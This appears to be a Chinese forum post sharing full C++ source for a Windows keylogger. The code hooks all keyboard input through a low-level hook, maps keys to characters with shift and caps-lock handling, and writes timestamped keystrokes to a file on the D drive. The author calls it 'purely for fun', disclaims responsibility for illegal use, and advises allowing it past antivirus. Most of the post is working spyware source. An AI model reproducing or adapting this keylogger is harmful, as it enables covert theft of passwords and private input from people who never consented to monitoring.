发段代码纯属娱乐。
本人郑重声明:若被用于其他非法用途,本人不承担法律责任。
捕获键盘输入,区分大小写,区分上下档输入。
我电脑的某些键ascII码值与ascII表中的值不一致,所以重新做了个map表。若你的一致,只须稍微改下代码即可。
键盘输入保存在d盘根目录下。杀毒软件可能会拦截,允许操作就可以了。
#define _WIN32_WINNT 0x0400
#define STRICT
#define WIN32_LEAN_AND_MEAN
#define WH_KEYBOARD_LL 13
#include<iostream>
#include<cstdio>
#include<cstdlib>
#include<windows.h>
#include<fstream>
#include<string>
#include<sstream>
#include<map>
using std::map;
using std::string;
using std::pair;
using std::endl;
using std::cout;
map<int,string>dictionary;
string recod_str;
std::ofstream out;
SYSTEMTIME systim;
DWORD g_main_tid = 0;
HHOOK g_kb_hook = 0;
BOOL CALLBACK con_handler (DWORD)
{
PostThreadMessage (g_main_tid, WM_QUIT, 0, 0);
return TRUE;
};
int shift(int value){
switch(value){
case 48:return value-7;
case 50:return value+14;
case 49:
case 51:
case 52:
case 53:return value-16;
case 54:return value+40;
case 56:return value-14;
case 55:
case 57:return value-17;
case 187:return value-144;
case 189:return value-94;
case 192:return value-66;
case 219:
case 222:
case 221:return value-96;
case 186:
case 188:
case 190:
case 191:return value-128;
case 220:return value-188;
default:return value;
}
}
string getlocaltime(string &str){
GetLocalTime( &systim );//get sys time
std::stringstream ss;
ss<<systim.wSecond;
str = ss.str()+"------>>>>>>"+str;
ss.str("");
ss<<systim.wMinute;
str = ss.str()+":"+str;
ss.str("");
ss<<systim.wHour;
str = ss.str()+":"+str;
ss.str("");
ss<<systim.wDay;
str = ss.str()+" "+str;
ss.str("");
ss<<systim.wMonth;
str = ss.str()+"-"+str;
ss.str("");
ss<<systim.wYear;
str = ss.str()+"-"+str;
ss.str("");
ss.str("");
return str;
}
LRESULT CALLBACK kb_proc (int code, WPARAM w, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
static int a=0;
static int state;
const char *info = NULL;
if (w == WM_KEYDOWN){
info = "key dn";
state = GetKeyState(VK_CAPITAL);
int tmp = p->vkCode;
if(state<=0&&tmp>64&&tmp<91){
tmp = tmp+32;
}
int asyncState = GetAsyncKeyState(VK_SHIFT);
if(asyncState<0){
tmp = shift(tmp);
//std::cout<<"tmp = "<<tmp<<" shift = "<<asyncState<<std::endl;
}
else
//std::cout<<"tmp = "<<tmp<<" shift = "<<asyncState<<std::endl;
recod_str += dictionary[tmp];
}
if(recod_str.size()>20){
out.open("d:\\keylog.txt",std::ios::app);
recod_str = getlocaltime(recod_str);
out<<recod_str+"\n";
cout<<"saved!"<<endl;
out.close();
recod_str = "";
}
return CallNextHookEx (g_kb_hook, code, w, lParam);
};
int main (void)
{
dictionary.insert(pair<int,string>(32," "));dictionary.insert(pair<int,string>(33,"!"));
dictionary.insert(pair<int,string>(34,"\""));dictionary.insert(pair<int,string>(35,"#"));
dictionary.insert(pair<int,string>(36,"$"));dictionary.insert(pair<int,string>(37,"%"));
dictionary.insert(pair<int,string>(38,"&"));dictionary.insert(pair<int,string>(39,"'"));
dictionary.insert(pair<int,string>(40,"("));dictionary.insert(pair<int,string>(41,")"));
dictionary.insert(pair<int,string>(42,"*"));dictionary.insert(pair<int,string>(43,"+"));
dictionary.insert(pair<int,string>(44,","));dictionary.insert(pair<int,string>(45,"-"));
dictionary.insert(pair<int,string>(46,"."));dictionary.insert(pair<int,string>(47,"/"));
dictionary.insert(pair<int,string>(48,"0"));dictionary.insert(pair<int,string>(49,"1"));
dictionary.insert(pair<int,string>(50,"2"));dictionary.insert(pair<int,string>(51,"3"));
dictionary.insert(pair<int,string>(52,"4"));dictionary.insert(pair<int,string>(53,"5"));
dictionary.insert(pair<int,string>(54,"6"));dictionary.insert(pair<int,string>(55,"7"));
dictionary.insert(pair<int,string>(56,"8"));dictionary.insert(pair<int,string>(57,"9"));
dictionary.insert(pair<int,string>(58,":"));dictionary.insert(pair<int,string>(59,";"));
dictionary.insert(pair<int,string>(60,"<"));dictionary.insert(pair<int,string>(61,"="));
dictionary.insert(pair<int,string>(62,">"));dictionary.insert(pair<int,string>(63,"?"));
dictionary.insert(pair<int,string>(64,"@"));dictionary.insert(pair<int,string>(65,"A"));
dictionary.insert(pair<int,string>(66,"B"));dictionary.insert(pair<int,string>(67,"C"));
dictionary.insert(pair<int,string>(68,"D"));dictionary.insert(pair<int,string>(69,"E"));
dictionary.insert(pair<int,string>(70,"F"));dictionary.insert(pair<int,string>(71,"G"));
dictionary.insert(pair<int,string>(72,"H"));dictionary.insert(pair<int,string>(73,"I"));
dictionary.insert(pair<int,string>(74,"J"));dictionary.insert(pair<int,string>(75,"K"));
dictionary.insert(pair<int,string>(76,"L"));dictionary.insert(pair<int,string>(77,"M"));
dictionary.insert(pair<int,string>(78,"N"));dictionary.insert(pair<int,string>(79,"O"));
dictionary.insert(pair<int,string>(80,"P"));dictionary.insert(pair<int,string>(81,"Q"));
dictionary.insert(pair<int,string>(82,"R"));dictionary.insert(pair<int,string>(83,"S"));
dictionary.insert(pair<int,string>(84,"T"));dictionary.insert(pair<int,string>(85,"U"));
dictionary.insert(pair<int,string>(86,"V"));dictionary.insert(pair<int,string>(87,"W"));
dictionary.insert(pair<int,string>(88,"X"));dictionary.insert(pair<int,string>(89,"Y"));
dictionary.insert(pair<int,string>(90,"Z"));dictionary.insert(pair<int,string>(91,"["));
dictionary.insert(pair<int,string>(92,"\\"));dictionary.insert(pair<int,string>(93,"]"));
dictionary.insert(pair<int,string>(94,"^"));dictionary.insert(pair<int,string>(95,"_"));
dictionary.insert(pair<int,string>(96,"`"));dictionary.insert(pair<int,string>(97,"a"));
dictionary.insert(pair<int,string>(98,"b"));dictionary.insert(pair<int,string>(99,"c"));
dictionary.insert(pair<int,string>(100,"d"));dictionary.insert(pair<int,string>(101,"e"));
dictionary.insert(pair<int,string>(102,"f"));dictionary.insert(pair<int,string>(103,"g"));
dictionary.insert(pair<int,string>(104,"h"));dictionary.insert(pair<int,string>(105,"i"));
dictionary.insert(pair<int,string>(106,"j"));dictionary.insert(pair<int,string>(107,"k"));
dictionary.insert(pair<int,string>(108,"l"));dictionary.insert(pair<int,string>(109,"m"));
dictionary.insert(pair<int,string>(110,"n"));dictionary.insert(pair<int,string>(111,"o"));
dictionary.insert(pair<int,string>(112,"p"));dictionary.insert(pair<int,string>(113,"q"));
dictionary.insert(pair<int,string>(114,"r"));dictionary.insert(pair<int,string>(115,"s"));
dictionary.insert(pair<int,string>(116,"t"));dictionary.insert(pair<int,string>(117,"u"));
dictionary.insert(pair<int,string>(118,"v"));dictionary.insert(pair<int,string>(119,"w"));
dictionary.insert(pair<int,string>(120,"x"));dictionary.insert(pair<int,string>(121,"y"));
dictionary.insert(pair<int,string>(122,"z"));dictionary.insert(pair<int,string>(123,"{"));
dictionary.insert(pair<int,string>(124,"|"));dictionary.insert(pair<int,string>(125,"}"));
dictionary.insert(pair<int,string>(126,"~"));dictionary.insert(pair<int,string>(32," "));dictionary.insert(pair<int,string>(33,"!"));
dictionary.insert(pair<int,string>(34,"\""));dictionary.insert(pair<int,string>(35,"#"));
dictionary.insert(pair<int,string>(36,"$"));dictionary.insert(pair<int,string>(37,"%"));
dictionary.insert(pair<int,string>(38,"&"));dictionary.insert(pair<int,string>(39,"'"));
dictionary.insert(pair<int,string>(40,"("));dictionary.insert(pair<int,string>(41,")"));
dictionary.insert(pair<int,string>(42,"*"));dictionary.insert(pair<int,string>(43,"+"));
dictionary.insert(pair<int,string>(44,","));dictionary.insert(pair<int,string>(45,"-"));
dictionary.insert(pair<int,string>(46,"."));dictionary.insert(pair<int,string>(47,"/"));
dictionary.insert(pair<int,string>(48,"0"));dictionary.insert(pair<int,string>(49,"1"));
dictionary.insert(pair<int,string>(50,"2"));dictionary.insert(pair<int,string>(51,"3"));
dictionary.insert(pair<int,string>(52,"4"));dictionary.insert(pair<int,string>(53,"5"));
dictionary.insert(pair<int,string>(54,"6"));dictionary.insert(pair<int,string>(55,"7"));
dictionary.insert(pair<int,string>(56,"8"));dictionary.insert(pair<int,string>(57,"9"));
dictionary.insert(pair<int,string>(58,":"));dictionary.insert(pair<int,string>(59,";"));
dictionary.insert(pair<int,string>(60,"<"));dictionary.insert(pair<int,string>(61,"="));
dictionary.insert(pair<int,string>(62,">"));dictionary.insert(pair<int,string>(63,"?"));
dictionary.insert(pair<int,string>(64,"@"));dictionary.insert(pair<int,string>(65,"A"));
dictionary.insert(pair<int,string>(66,"B"));dictionary.insert(pair<int,string>(67,"C"));
dictionary.insert(pair<int,string>(68,"D"));dictionary.insert(pair<int,string>(69,"E"));
dictionary.insert(pair<int,string>(70,"F"));dictionary.insert(pair<int,string>(71,"G"));
dictionary.insert(pair<int,string>(72,"H"));dictionary.insert(pair<int,string>(73,"I"));
dictionary.insert(pair<int,string>(74,"J"));dictionary.insert(pair<int,string>(75,"K"));
dictionary.insert(pair<int,string>(76,"L"));dictionary.insert(pair<int,string>(77,"M"));
dictionary.insert(pair<int,string>(78,"N"));dictionary.insert(pair<int,string>(79,"O"));
dictionary.insert(pair<int,string>(80,"P"));dictionary.insert(pair<int,string>(81,"Q"));
dictionary.insert(pair<int,string>(82,"R"));dictionary.insert(pair<int,string>(83,"S"));
dictionary.insert(pair<int,string>(84,"T"));dictionary.insert(pair<int,string>(85,"U"));
dictionary.insert(pair<int,string>(86,"V"));dictionary.insert(pair<int,string>(87,"W"));
dictionary.insert(pair<int,string>(88,"X"));dictionary.insert(pair<int,string>(89,"Y"));
dictionary.insert(pair<int,string>(90,"Z"));dictionary.insert(pair<int,string>(91,"["));
dictionary.insert(pair<int,string>(92,"\\"));dictionary.insert(pair<int,string>(93,"]"));
dictionary.insert(pair<int,string>(94,"^"));dictionary.insert(pair<int,string>(95,"_"));
dictionary.insert(pair<int,string>(96,"`"));dictionary.insert(pair<int,string>(97,"a"));
dictionary.insert(pair<int,string>(98,"b"));dictionary.insert(pair<int,string>(99,"c"));
dictionary.insert(pair<int,string>(100,"d"));dictionary.insert(pair<int,string>(101,"e"));
dictionary.insert(pair<int,string>(102,"f"));dictionary.insert(pair<int,string>(103,"g"));
dictionary.insert(pair<int,string>(104,"h"));dictionary.insert(pair<int,string>(105,"i"));
dictionary.insert(pair<int,string>(106,"j"));dictionary.insert(pair<int,string>(107,"k"));
dictionary.insert(pair<int,string>(108,"l"));dictionary.insert(pair<int,string>(109,"m"));
dictionary.insert(pair<int,string>(110,"n"));dictionary.insert(pair<int,string>(111,"o"));
dictionary.insert(pair<int,string>(112,"p"));dictionary.insert(pair<int,string>(113,"q"));
dictionary.insert(pair<int,string>(114,"r"));dictionary.insert(pair<int,string>(115,"s"));
dictionary.insert(pair<int,string>(116,"t"));dictionary.insert(pair<int,string>(117,"u"));
dictionary.insert(pair<int,string>(118,"v"));dictionary.insert(pair<int,string>(119,"w"));
dictionary.insert(pair<int,string>(120,"x"));dictionary.insert(pair<int,string>(121,"y"));
dictionary.insert(pair<int,string>(122,"z"));dictionary.insert(pair<int,string>(123,"{"));
dictionary.insert(pair<int,string>(124,"|"));dictionary.insert(pair<int,string>(125,"}"));
dictionary.insert(pair<int,string>(126,"~"));dictionary.insert(pair<int,string>(187,"="));
dictionary.insert(pair<int,string>(189,"-"));dictionary.insert(pair<int,string>(192,"`"));
dictionary.insert(pair<int,string>(219,"["));dictionary.insert(pair<int,string>(221,"]"));
dictionary.insert(pair<int,string>(186,";"));dictionary.insert(pair<int,string>(222,"'"));
dictionary.insert(pair<int,string>(220,"\\"));dictionary.insert(pair<int,string>(188,","));
dictionary.insert(pair<int,string>(190,"."));dictionary.insert(pair<int,string>(191,"/"));
g_main_tid = GetCurrentThreadId ();
SetConsoleCtrlHandler (&con_handler, TRUE);
g_kb_hook = SetWindowsHookEx(WH_KEYBOARD_LL,&kb_proc,
GetModuleHandle (NULL), // 不能为NULL,否则失败
0);
if (g_kb_hook == NULL)
{
fprintf (stderr,
"SetWindowsHookEx failed with error %d\n",
::GetLastError ());
return 0;
}
// 消息循环是必须的,想知道原因可以查msdn
MSG msg;
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
UnhookWindowsHookEx (g_kb_hook);
return 0;
}
欢迎大家讨论,共同进步。